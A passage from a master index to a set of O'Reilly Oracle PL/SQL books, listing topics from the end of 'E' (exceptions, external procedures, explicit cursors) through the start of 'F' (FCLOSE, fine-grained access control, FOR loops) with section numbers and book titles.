9.7.4. EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects, Guide to Oracle8i Features
EXPORT_SOURCE procedure, DBMS_JAVA package
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
9.7.4. EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects, Guide to Oracle8i Features
EXTEND procedure: 19.6.4. EXTEND [ (n [,i] ) ], Oracle PL/SQL Programming
adding collection elements: 19.4.3.1. Adding elements using EXTEND, Oracle PL/SQL Programming
EXTERNAL clause: 21.3.2. EXTERNAL: Creating the PL/SQL Body, Oracle PL/SQL Programming
EXTERNAL_PROCEDURE_LISTENER listener: 21.2.1. Step 1: Set Up the Listener, Oracle PL/SQL Programming
Enterprise Java Beans(TM) (EJBs): 1.3.7. Java, Oracle Web Applications
Enterprise JavaBeans (EJB)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
Enterprise Manager/Performance Pack product: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
Enterprise Resource Planning (ERP): 1.1. The Internet Grows Up, Oracle Web Applications
EnterpriseSync Lite (ESL): 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
Eudora
1.3.1. The Internet File System, Oracle Web Applications
1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
Excel: 1.3.9.1. Text data, Oracle Web Applications
e-commerce: 1.1. The Internet Grows Up, Oracle Web Applications
e-commerce applications: 1.1. The Internet Grows Up, Oracle Web Applications
ecs_string function
5.28.8. Accessing the PLVtrc execution call stack (ECS), Advanced Oracle PL/SQL Programming with Packages
21.2.4.7. Retrieving stack contents, Advanced Oracle PL/SQL Programming with Packages
editing table rows: 10.5. Referencing and Modifying PL/SQL Table Rows, Oracle PL/SQL Programming
effdsql.tst : 2.4.5. Improving the Performance of Dynamic SQL, Oracle Built-in Packages
egister.sql : 7.3.3. The set_stats Procedure, Oracle Built-in Packages
elapsed function
5.27.5. Retrieving and displaying elapsed time, Advanced Oracle PL/SQL Programming with Packages
14.3. Retrieving and Displaying the Elapsed Time, Advanced Oracle PL/SQL Programming with Packages
elapsed time: 14.3. Retrieving and Displaying the Elapsed Time, Advanced Oracle PL/SQL Programming with Packages
elapsed time, code: 5.27. PLVtmr: Program Performance Analyzer, Advanced Oracle PL/SQL Programming with Packages
elapsed time, returning: 10.1.2.14. The DBMS_UTILITY.GET_TIME function, Oracle Built-in Packages
elapsed_message function
5.27.5. Retrieving and displaying elapsed time, Advanced Oracle PL/SQL Programming with Packages
14.3.1. elapsed_message Function, Advanced Oracle PL/SQL Programming with Packages
electronic data exchange: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
elements
arrays: (see arrays)
packages: (see packages)
email, sending with external procedures: 21.7.2. Example: Sending Email, Oracle PL/SQL Programming
embedded PL/SQL: (see stored functions, PL/SQL)
embedding
trace calls in programs: 26.5. Quick-and-Dirty Tracing, Oracle PL/SQL Programming
embedding quotation marks: 2.3.1. Embedding Single Quotes Inside a String, Oracle PL/SQL Programming
empfetch package
(see also specific program names)
2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
empfetch.spp : 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
empfetch.tst : 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
empty procedure: 8.6.1. Improving the Delete Process, Advanced Oracle PL/SQL Programming with Packages
empty tables
5.25.2. The empty PL/SQL tables, Advanced Oracle PL/SQL Programming with Packages
8.6. Emptying Tables with PLVtab, Advanced Oracle PL/SQL Programming with Packages
enable parameter, ADD_POLICY procedure: 7.3.2. DBMS_RLS Programs, Guide to Oracle8i Features
enabling access: (see access)
ename_val procedure: 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
encapsulating calculations: 17.8.1. Encapsulating Calculations , Oracle PL/SQL Programming
encapsulating data: (see access, package elements)
encapsulation
2.5.1. Building an Autonomous Logging Mechanism, Guide to Oracle8i Features
18.1.5.2. Encapsulation , Oracle PL/SQL Programming
of data structure access: 1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
of persistent objects: 18.2.2.2. DDL usage , Oracle PL/SQL Programming
on object views: 20.2.1.1. The "don't use" argument, Oracle PL/SQL Programming
encapsulation, packages for: 1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
enclosed block: (see nested blocks)
encrypted data, packing into message buffers: 3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure, Oracle Built-in Packages
encrypting code: 23.7. Encrypting Stored Code, Oracle PL/SQL Programming
end-of-file marker: 13.5.1. Reading the Next Line, Advanced Oracle PL/SQL Programming with Packages
end-of-line markers: (see newline markers)
endcmnt function: 17.5.3.1. Functions to scan USER_SOURCE, Advanced Oracle PL/SQL Programming with Packages
ends_multiline_comment function: 5.16.1. Analyzing PL/SQL string content, Advanced Oracle PL/SQL Programming with Packages
enqueue options record type: 5.3.7. Enqueue Options Record Type, Oracle Built-in Packages
enqueue procedure: 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
enqueue_high procedure: 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
enqueue_low procedure: 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
enqueue_medium procedure: 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
enqueuing: 5.4.1.1. The DBMS_AQ.ENQUEUE procedure, Oracle Built-in Packages
AQ features for: 5.1.2. Enqueue Features, Oracle Built-in Packages
delay value: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
time of: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
transactions and
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.7. Enqueue Options Record Type, Oracle Built-in Packages
enqueuing messages: 1.3.10.3. Enqueue and dequeue messages to/from a queue, Oracle Web Applications
enterprise resource planning (ERP) systems: 1. Introduction, Oracle Web Applications
entity-relationship (ER) model: 18.1.4.3. Inheritance , Oracle PL/SQL Programming
entity-relationship diagram (ERD): 1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
environment, user: 13.3.9. The USERENV function, Oracle PL/SQL Programming
equal sign (=): 16.2.3.3. Default values for string functions , Advanced Oracle PL/SQL Programming with Packages
equality
objects, testing for: 18.3.6.2. Equality comparisons, Oracle PL/SQL Programming
erasing: (see deleting)
err procedure
5.29.4. Displaying compile errors, Advanced Oracle PL/SQL Programming with Packages
11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
15.2. Displaying Compile Errors, Advanced Oracle PL/SQL Programming with Packages
15.4.2. Implementing the SHOW ERRORS Alternative, Advanced Oracle PL/SQL Programming with Packages
errm function
5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
6.4.2. Obtaining the Error Message, Advanced Oracle PL/SQL Programming with Packages
6.6. The Predefined Constants, Advanced Oracle PL/SQL Programming with Packages
error codes: 22.1.6.1. The handle procedure, Advanced Oracle PL/SQL Programming with Packages
error handling, native dynamic SQL: 4.6.2. Error Handling, Guide to Oracle8i Features
error messages: 22.1.6.4. Defining error messages with PLVmsg, Advanced Oracle PL/SQL Programming with Packages
"attribute expression within SQL expression": 6.9. Cursor Attributes, Oracle PL/SQL Programming
"cursor already open"
6.5. Opening Cursors, Oracle PL/SQL Programming
6.9.4. The %ISOPEN Attribute, Oracle PL/SQL Programming
"expression is inappropriate": 6.4.1. The Cursor Name, Oracle PL/SQL Programming
"fetch out of sequence": 6.11.1. Releasing Locks with COMMIT, Oracle PL/SQL Programming
"function returned without value": 15.5.8.3. No RETURN is executed, Oracle PL/SQL Programming
"maximum open cursors exceeded": 6.8.1. Maximum Number of Cursors, Oracle PL/SQL Programming
"wrong number of values in the INTO list": 6.6.1. Matching Column List with INTO Clause, Oracle PL/SQL Programming
"illegal GOTO statement": 5.2.1.2. Target labels and scope of GOTO, Oracle PL/SQL Programming
SQLERRM function: 13.3.6. The SQLERRM function, Oracle PL/SQL Programming
error stack, returning: 10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function, Oracle Built-in Packages
errors
(see also exceptions)
1.6.3.2. The exception section, Advanced Oracle PL/SQL Programming with Packages
3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
6.4.2. Obtaining the Error Message, Advanced Oracle PL/SQL Programming with Packages
13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
2.4.6. Problem-Solving Dynamic SQL Errors, Oracle Built-in Packages
8. Exception Handlers, Oracle PL/SQL Programming
PLVmsg with: 9.5. Integrating PLVmsg with Error Handling, Advanced Oracle PL/SQL Programming with Packages
UTL_FILE package: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
bailout: 22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
boundary checking: 3.8.1. When the num_in Argument Is 0, Advanced Oracle PL/SQL Programming with Packages
caused by implicit cursors: 6.3.2.2. Vulnerability to data errors, Oracle PL/SQL Programming
codes for: (see SQLCODE)
communication from server to client: 8.7. Client-Server Error Communication, Oracle PL/SQL Programming
compiling
5.29.4. Displaying compile errors, Advanced Oracle PL/SQL Programming with Packages
15.1.2. What SHOW ERRORS Does, Advanced Oracle PL/SQL Programming with Packages
consistent data on: 22.2.1.1. Recording consistent error data, Advanced Oracle PL/SQL Programming with Packages
dynamic SQL parsing: (see dynamic SQL, troubleshooting)
handling: 1.4.3.9. Error handling, Oracle PL/SQL Programming
messages: (see messages)
recording: 22.1.7. Recording Errors, Advanced Oracle PL/SQL Programming with Packages
rollbacks on: 22.1.8. Rolling Back When an Exception Occurs, Advanced Oracle PL/SQL Programming with Packages
viewing in SQL*Plus: 23.5.4. Viewing Compilation Errors in SQL*Plus, Oracle PL/SQL Programming
violation of RESTRICT_REFERENCES pragma: 17.5.1.1. Pragma violation errors, Oracle PL/SQL Programming
errors, trapping system: 6.2.1.3. Trapping system errors, Guide to Oracle8i Features
errpos.sql : 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function, Oracle Built-in Packages
errstk.stk : 10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function, Oracle Built-in Packages
event journals: 5.1.1. General Features, Oracle Built-in Packages
event level, tracing: 26.1.2. Turning On the Trace, Oracle PL/SQL Programming
event levels: (see tracing, event levels)
exc_section procedure: 13.9. Handling File Errors with PLVfile, Advanced Oracle PL/SQL Programming with Packages
exception
WRITE_ERROR: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
exception handling, Java: 9.8.5. Exception Handling with Java, Guide to Oracle8i Features
exception queues
5.1.5. A Glossary of Terms, Oracle Built-in Packages
5.3.6. Message Properties Record Type, Oracle Built-in Packages
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
exception section, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
exception tracing: 7.2.3. Controlling Trace File Contents, Guide to Oracle8i Features
exceptions
(see also errors)
A.1.3. Exception Handling, Advanced Oracle PL/SQL Programming with Packages
A.2.3. Exception Handling, Advanced Oracle PL/SQL Programming with Packages
3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
5.10. PLVexc: Exception Handling, Advanced Oracle PL/SQL Programming with Packages
13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
16.3.5. Using the PLVexc Exception Handler, Advanced Oracle PL/SQL Programming with Packages
21.1.2.1. Using put_line, Advanced Oracle PL/SQL Programming with Packages
22. Exception Handling, Advanced Oracle PL/SQL Programming with Packages
1.4.3.9. Error handling, Oracle PL/SQL Programming
8. Exception Handlers, Oracle PL/SQL Programming
CURSOR_ALREADY_OPEN: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
DUP_VAL_ON_INDEX: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
INVALID_CURSOR: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
INVALID_NUMBER: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
INVALID_PATH: 13.9. Handling File Errors with PLVfile, Advanced Oracle PL/SQL Programming with Packages
LOGIN_DENIED: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
NOT_LOGGED_ON: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
NO_DATA_FOUND
21.2.5. Using PLVtrc, Advanced Oracle PL/SQL Programming with Packages
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
8.8. NO_DATA_FOUND: Multipurpose Exception, Oracle PL/SQL Programming
NO_SUCH_TABLE: 22.1.2. Package-Based Exceptions, Advanced Oracle PL/SQL Programming with Packages
PLVmsg with: 9.5. Integrating PLVmsg with Error Handling, Advanced Oracle PL/SQL Programming with Packages
PROGRAM_ERROR: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
ROWTYPE_MISMATCH: 6.12.5.2. Handling the ROWTYPE_MISMATCH exception, Oracle PL/SQL Programming
SNAPSHOT_TOO_OLD: 22.1.2. Package-Based Exceptions, Advanced Oracle PL/SQL Programming with Packages
SQLCODE function: 13.3.5. The SQLCODE function, Oracle PL/SQL Programming
STORAGE_ERROR: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
TIMEOUT_ON_RESOURCE: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
TOO_MANY_ROWS: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
TRANSACTION_BACKED_OUT: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
UTL_FILE package: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
VALUE_ERROR
A.1.3. Exception Handling, Advanced Oracle PL/SQL Programming with Packages
A.2.3. Exception Handling, Advanced Oracle PL/SQL Programming with Packages
13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
ZERO_DIVIDE: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
aliasing: 1.3.4.5. Same exception, different causes, Oracle Built-in Packages
as package: 16.3.1.1. A package of exceptions, Oracle PL/SQL Programming
assertion_failure: 5.3.5. Assertion routines, Advanced Oracle PL/SQL Programming with Packages
continuing once handled: 8.6.4. Continuing Past Exceptions, Oracle PL/SQL Programming
declaring in packages: 16.3. The Package Specification, Oracle PL/SQL Programming
exception section of code: 8.2. The Exception Section, Oracle PL/SQL Programming
file: 13.9. Handling File Errors with PLVfile, Advanced Oracle PL/SQL Programming with Packages
for branching logic: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
formatting handlers of: 3.3.3. Formatting Exception Handlers, Oracle PL/SQL Programming
handler development: 1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
handles for: 8.6. Handling Exceptions, Oracle PL/SQL Programming
handling: 22.2.3. Avoid Exception Handlers for Normal Program Exits, Oracle PL/SQL Programming
like IF statement: 8.9. Exception Handler as IF Statement, Oracle PL/SQL Programming
multiple: 8.6.1. Combining Multiple Exceptions in a Single Handler, Oracle PL/SQL Programming
structure for: 8.4. Determining Exception-Handling Behavior, Oracle PL/SQL Programming
tips for: 8.10. RAISE Nothing but Exceptions, Oracle PL/SQL Programming
handling in built-in packages: 1.3.4. Exception Handling and Built-in Packages, Oracle Built-in Packages
Oracle Developer/2000 and: 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1, Oracle Built-in Packages
identifying cause of: 1.3.4.5. Same exception, different causes, Oracle Built-in Packages
insert failure: 5.15.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
list_full: 5.18.1. Package exceptions, Advanced Oracle PL/SQL Programming with Packages
list_undefined: 5.18.1. Package exceptions, Advanced Oracle PL/SQL Programming with Packages
messages: (see messages)
nullifying effect of raised: 5.2.2.2. Nullifying the effect of a raised exception, Oracle PL/SQL Programming
out_of_bounds: 5.18.1. Package exceptions, Advanced Oracle PL/SQL Programming with Packages
overlapping names of: 8.4.1.3. Overlapping exception names, Oracle PL/SQL Programming
package exception section: 1.6.3.2. The exception section, Advanced Oracle PL/SQL Programming with Packages
process halted: 22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
programmer-defined
8.3.2. Named Programmer-Defined Exceptions, Oracle PL/SQL Programming
8.3.4. Unnamed Programmer-Defined Exceptions , Oracle PL/SQL Programming
propagation of: 8.4.2. Propagation of an Exception , Oracle PL/SQL Programming
raised within handler: 8.5.4. Exceptions Raised in an Exception Handler, Oracle PL/SQL Programming
raising
8.5. Raising an Exception, Oracle PL/SQL Programming
8.10. RAISE Nothing but Exceptions, Oracle PL/SQL Programming
recording
22.1.7. Recording Errors, Advanced Oracle PL/SQL Programming with Packages
22.3.3.3. Recording the exception, Advanced Oracle PL/SQL Programming with Packages
resulting action options: 22.1.4. Exception Handling Actions, Advanced Oracle PL/SQL Programming with Packages
scope of: 8.4.1. Scope of an Exception, Oracle PL/SQL Programming
system: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
trapping invalid arguments: 22.2.4.1. Trap invalid argument values, Oracle PL/SQL Programming
types of: 8.3. Types of Exceptions, Oracle PL/SQL Programming
exclusive or (see XOR bit operation)
execImmed program, ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
execsql procedure
5.9.2. Controlling execution of dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
19.5.8. Controlling Execution of Dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
executable section, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
execute authority
1.3.5. Guaranteeing Transaction Integrity, Advanced Oracle PL/SQL Programming with Packages
4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
1.3.2. Improved Execution Authority and Transaction Integrity with PL/SQL, Oracle PL/SQL Programming
23.2. Transaction Integrity and Execute Authority, Oracle PL/SQL Programming
collections and: 19.8.1. Privileges, Oracle PL/SQL Programming
on stored objects: 23.2.1. Execute Authority on Stored Objects, Oracle PL/SQL Programming
packages and: 23.2.1. Execute Authority on Stored Objects, Oracle PL/SQL Programming
sharing code and: 23.1.4. Key Concepts for Program Execution, Oracle PL/SQL Programming
execute procedure
5.9.3. Bundled, low-level operations, Advanced Oracle PL/SQL Programming with Packages
19.5.6.4. Passthrough elements, Advanced Oracle PL/SQL Programming with Packages
execute_and_close procedure
5.9.3. Bundled, low-level operations, Advanced Oracle PL/SQL Programming with Packages
19.5.6.2. Execute and close, Advanced Oracle PL/SQL Programming with Packages
execute_and_fetch procedure
5.9.3. Bundled, low-level operations, Advanced Oracle PL/SQL Programming with Packages
19.5.6.4. Passthrough elements, Advanced Oracle PL/SQL Programming with Packages
executing function: 5.9.2. Controlling execution of dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
execution, shared code: 23.1. Executing Stored Code, Oracle PL/SQL Programming
execution privileges, DDL: 19.4.1. DDL Operations , Advanced Oracle PL/SQL Programming with Packages
execution status, registering: 7. Defining an Application Profile, Oracle Built-in Packages
execution time: (see performance)
existence checking, files: 5.11.6. Checking for file existence, Advanced Oracle PL/SQL Programming with Packages
exiting loops: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
expiration time: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
explicit
conversion functions: 14. Conversion Functions, Oracle PL/SQL Programming
cursors
(see also cursors)
1.7.4. Standardize Your PL/SQL Development Environment, Oracle PL/SQL Programming
6.2.1. Types of Cursors, Oracle PL/SQL Programming
6.3.3. Explicit Cursors, Oracle PL/SQL Programming
fetching from: 9.5.3. FETCH INTO from an Explicit Cursor, Oracle PL/SQL Programming
datatype conversion: 4.2.8.1. Explicit data conversions, Oracle PL/SQL Programming
exponents: 13.1.14. The POWER function, Oracle PL/SQL Programming
export/inport: (see master sites, instantiation)
extended ROWIDs
Oracle versions and: 9. Datatype Packages, Oracle Built-in Packages
converting to restricted ROWIDs: 9.1.3.9. The DBMS_ROWID.ROWID_TO_RESTRICTED function, Oracle Built-in Packages
creating from restricted ROWIDs: 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function, Oracle Built-in Packages
format: 9.1.2. ROWID Concepts, Oracle Built-in Packages
extending file I/O capabilities: 9.9.1. Extending File I/O Capabilities, Guide to Oracle8i Features
extension encapsulation: 1.3.5. Encapsulating Access to the Built-in Packages, Oracle Built-in Packages
extensions
file: 2.4. Organizing Package Source Code, Advanced Oracle PL/SQL Programming with Packages
filename: (see filenames)
package element names: 2.3.3. Avoiding Superfluous Naming Elements, Advanced Oracle PL/SQL Programming with Packages
external LOBs
1.4.7.6. Large object support, Oracle PL/SQL Programming
8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
8.2.1.6. The LOB locator, Oracle Built-in Packages
external procedures
external datatypes: 21.4.1. Datatype Conversion, Oracle PL/SQL Programming
external procedures: 21. External Procedures, Oracle PL/SQL Programming
OCI routines for: 21.5. OCI Service Routines, Oracle PL/SQL Programming
architecture of: 21.1.2. Architecture, Oracle PL/SQL Programming
creating: 21.2. Steps in Creating an External Procedure, Oracle PL/SQL Programming
data dictionary entries: 21.6.1. Data Dictionary, Oracle PL/SQL Programming
debugging: 21.6.2. Rules and Warnings About External Procedures, Oracle PL/SQL Programming
examples: 21.7. Examples, Oracle PL/SQL Programming
listeners for: 21.2.1. Step 1: Set Up the Listener, Oracle PL/SQL Programming
mapping parameters: 21.4. Mapping Parameters, Oracle PL/SQL Programming
syntax: 21.3. Syntax for External Procedures, Oracle PL/SQL Programming
warnings about: 21.6.2. Rules and Warnings About External Procedures, Oracle PL/SQL Programming
external programs: 1.1. The Power of Built-in Packages, Oracle Built-in Packages
DBMS_PIPE used to execute: 3.1.7.1. Communicating with the outside world, Oracle Built-in Packages
external references: 3.1. A Look at the Definer Rights Model, Guide to Oracle8i Features

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: F

Index: F

%FOUND cursor attribute: 6.9.1. The %FOUND Attribute, Oracle PL/SQL Programming
FALSE: (see Boolean literals)
FCLOSE procedure
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.5.1. The UTL_FILE.FCLOSE procedure, Oracle Built-in Packages
C.17.1.1. The FCLOSE procedure, Oracle PL/SQL Programming
FCLOSE_ALL procedure
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure, Oracle Built-in Packages
C.17.1.2. The FCLOSE_ALL procedure, Oracle PL/SQL Programming
FETCH INTO clause
5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
: 9.5.3. FETCH INTO from an Explicit Cursor, Oracle PL/SQL Programming
FETCH clause
assigning objects: 18.4.1.3. Assignment via FETCH (with SELECT), Oracle PL/SQL Programming
FETCH statement
(see also cursors)
4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
6.2.2. Cursor Operations, Oracle PL/SQL Programming
6.6. Fetching from Cursors, Oracle PL/SQL Programming
initializing collections: 19.4.1.3. Initializing implicitly via fetch, Oracle PL/SQL Programming
with cursor variables: 6.12.5. Fetching from Cursor Variables, Oracle PL/SQL Programming
FETCH statement, native dynamic SQL: 4.3.1. FETCH into Variables or Records, Guide to Oracle8i Features
FETCH_ROWS function
C.14.8. The FETCH_ROWS function, Oracle PL/SQL Programming
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.7.1. The DBMS_SQL.FETCH_ROWS function, Oracle Built-in Packages
FFLUSH procedure
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.4.5. The UTL_FILE.FFLUSH procedure, Oracle Built-in Packages
C.17.1.3. The FFLUSH procedure, Oracle PL/SQL Programming
FGAC (fine-grained access control)
7.3. DBMS_RLS: Implementing Fine-Grained Access Control, Guide to Oracle8i Features
1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control), Guide to Oracle8i Features
LOGON triggers, setting up,: 8.5.5. Setting Up the LOGON Trigger, Guide to Oracle8i Features
components: 8.1. FGAC Components, Guide to Oracle8i Features
context attribute values, setting: 8.3. SET_CONTEXT: Setting Context and Attribute Values, Guide to Oracle8i Features
context data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
context for schema, setting: 8.5.2. Setting the Context for the Schema, Guide to Oracle8i Features
context information, obtaining: 8.4. SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information, Guide to Oracle8i Features
creating contexts: 8.2. CREATE CONTEXT: Creating Contexts, Guide to Oracle8i Features
debugging: 8.5.6. Debugging FGAC Code, Guide to Oracle8i Features
example: 8.5. A Complete FGAC Example, Guide to Oracle8i Features
list of defined context attributes, obtaining: 8.4.2. LIST_CONTEXT: Obtaining the List of Defined Context Attributes, Guide to Oracle8i Features
overview: 8. Deploying Fine-Grained Access Control, Guide to Oracle8i Features
policies, defining: 8.5.4. Defining the Policy , Guide to Oracle8i Features
predicates, defining: 8.5.3. Defining the Predicate, Guide to Oracle8i Features
security packages, creatinging: 8.5.1. Creating the Security Package, Guide to Oracle8i Features
FILECLOSE procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.5. The DBMS_LOB.FILECLOSE procedure, Oracle Built-in Packages
C.6.5. The FILECLOSE procedure, Oracle PL/SQL Programming
FILECLOSEALL procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.6. The DBMS_LOB.FILECLOSEALL procedure, Oracle Built-in Packages
C.6.6. The FILECLOSEALL procedure, Oracle PL/SQL Programming
FILEEXISTS function
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.1. The DBMS_LOB.FILEEXISTS function, Oracle Built-in Packages
C.6.7. The FILEEXISTS function, Oracle PL/SQL Programming
FILEGETNAME procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.2. The DBMS_LOB.FILEGETNAME procedure, Oracle Built-in Packages
C.6.8. The FILEGETNAME procedure, Oracle PL/SQL Programming
FILEISOPEN function
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.4. The DBMS_LOB.FILEISOPEN function, Oracle Built-in Packages
C.6.9. The FILEISOPEN function , Oracle PL/SQL Programming
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.1.3. The DBMS_LOB.FILEOPEN procedure, Oracle Built-in Packages
C.6.10. The FILEOPEN procedure, Oracle PL/SQL Programming
FILE_TYPE datatype: 13.1.2. File Handles, Advanced Oracle PL/SQL Programming with Packages
FIRST function
10.8.2.4. The FIRST function, Oracle PL/SQL Programming
19.6.5. FIRST, LAST, Oracle PL/SQL Programming
FIRST_MESSAGE dequeuing: 5.4.2.5. Dequeue navigation, Oracle Built-in Packages
FLOAT subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
FLOOR function: 13.1.10. The FLOOR function, Oracle PL/SQL Programming
FM (fill mode) modifier: 14.3.1. FM: Suppressing Blanks and Zeros, Oracle PL/SQL Programming
FOPEN function
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.2.1. The UTL_FILE.FOPEN function, Oracle Built-in Packages
C.17.1.4. The FOPEN function, Oracle PL/SQL Programming
FOR UPDATE: 4.5. Working with Objects and Collections, Guide to Oracle8i Features
FOR loops
6.2.4. Loops, Oracle Web Applications
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
5.3.3. Using the RETURNING Clause with Bulk Operations, Guide to Oracle8i Features
5.5. Analyzing the Impact of Bulk Operations, Guide to Oracle8i Features
7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
cursor
16.2.8. Generating a Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
1.6.4. The cursor FOR loop, Oracle PL/SQL Programming
7.4. The Cursor FOR Loop, Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
numeric: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
premature termination of: 7.7.2.1. Premature FOR loop termination, Oracle PL/SQL Programming
scope of: 7.6.2.1. Scope in FOR loops, Oracle PL/SQL Programming
FORALL statement
5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
5.5. Analyzing the Impact of Bulk Operations, Guide to Oracle8i Features
5. Bulking Up with PL/SQL 8.1, Guide to Oracle8i Features
5.3.3. Using the RETURNING Clause with Bulk Operations, Guide to Oracle8i Features
FORCE parameter: 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types, Oracle PL/SQL Programming
FORMAT_CALL_STACK function
21.2.2. Accessing the PL/SQL Call Stack, Advanced Oracle PL/SQL Programming with Packages
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.10. The DBMS_UTILITY.FORMAT_CALL_STACK function, Oracle Built-in Packages
C.16.4. The FORMAT_CALL_STACK function, Oracle PL/SQL Programming
FORMAT_ERROR_STACK function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function, Oracle Built-in Packages
C.16.5. The FORMAT_ERROR_STACK function, Oracle PL/SQL Programming
FORTRAN: 1.2.2. Application Development, Oracle Web Applications
